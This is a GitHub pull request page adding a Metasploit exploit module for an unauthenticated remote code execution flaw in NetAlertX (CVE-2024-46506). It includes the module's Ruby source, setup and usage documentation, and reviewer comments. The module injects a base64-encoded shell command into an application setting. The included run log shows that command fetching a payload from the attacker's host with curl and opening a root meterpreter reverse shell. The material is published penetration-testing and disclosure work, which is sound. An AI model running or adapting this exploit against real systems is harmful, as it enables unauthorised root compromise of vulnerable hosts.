Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add NetAlertX unauthenticated RCE module (CVE-2024-46506) #19868

Merged
merged 10 commits into from
Feb 11, 2025
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
## Vulnerable Application

An attacker can update NetAlertX settings with no authentication, which results in RCE.

The vulnerability affects:

* v23.01.14 <= NetAlertX <= v24.9.12

This module was successfully tested on:

* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04


### Installation

1. `docker pull jokobsk/netalertx:24.9.12`

2. docker run
```bash
docker run --rm --network=host \
-v /tmp/netalertx:/app/config \
-v /tmp/netalertx:/app/db \
-e TZ=Europe/Berlin \
-e PORT=20211 \
jokobsk/netalertx:24.9.12
```


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options
### WAIT (required)
Wait time (seconds) for the payload to be set. Default is `75`.

### CLEANUP
Restore DBCLNP_CMD to original value after execution. Default is `true`.


## Scenarios
```
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options

Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):

Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true no Restore DBCLNP_CMD to original value after execution
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 20211 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WAIT 75 yes Wait time (seconds) for the payload to be set


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 24.9.12 detected.
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
[*] Waiting settings really updated...
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
[*] Added the payload to the queue. Waiting for the payload to run...
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.17
OS : (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
155 changes: 155 additions & 0 deletions modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,155 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Retry

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in NetAlertX',
'Description' => %q{
An attacker can update NetAlertX settings with no authentication, which results in RCE.
},
'Author' => [
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-46506'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'WfsDelay' => 150
},
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-01-30',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
Opt::RPORT(20211),
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
msutovsky-r7 marked this conversation as resolved.
Show resolved Hide resolved
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
})
return Exploit::CheckCode::Unknown unless res&.code == 200

html_document = res&.get_html_document
return Exploit::CheckCode::Unknown('Failed to get html document.') unless html_document
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved

version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
return Exploit::CheckCode::Unknown('Failed to get version element.') unless version_element
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved

version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
return Exploit::CheckCode::Unknown('Failed to detect version.') unless version
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved

return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))

Exploit::CheckCode::Appears("Version #{version} detected.")
end

def exploit
# Command is splitted by the space, and processed by the below Python code
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash"
cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh"

Smaller payload (yay!), and more portable, and not every Linux system has bash installed.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we need to encode manually? What characters are we trying to avoid and what happens we pass them into the payload portion of the info hash as bad characters?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks! Updated to use sh. edbdb98

Updated to use BadChars. 2db7f4f Seems like only base64 -d works fine. Without /bin/sh -c, the payload fails. Thanks!
image

update_settings(cmd, '*')
# Not updated immediately
print_status('Waiting settings really updated...')
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved
retry_until_truthy(timeout: datastore['WAIT']) do
check_settings(cmd)
end
add_to_execution_queue('run|DBCLNP')
add_to_execution_queue('cron_restart_backend')
print_status('Added the payload to the queue. Waiting for the payload to run...')
end

def update_settings(cmd, sche)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'savesettings',
'settings' => [
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
].to_json
}
})
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
end

def add_to_execution_queue(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'addToExecutionQueue',
'action' => "#{Rex::Text.rand_text_alphanumeric(8)}-"\
"#{Rex::Text.rand_text_alphanumeric(4)}-"\
"#{Rex::Text.rand_text_alphanumeric(4)}-"\
"#{Rex::Text.rand_text_alphanumeric(4)}-"\
"#{Rex::Text.rand_text_alphanumeric(12)}|#{cmd}"
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved
}
})
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
end

def check_settings(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
})
return unless res&.code == 200

res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
end

def cleanup
super

if datastore['CLEANUP']
# Default settings, cannot change (normally).
Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
update_settings(
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
'*/30'
)
end
end
end
Loading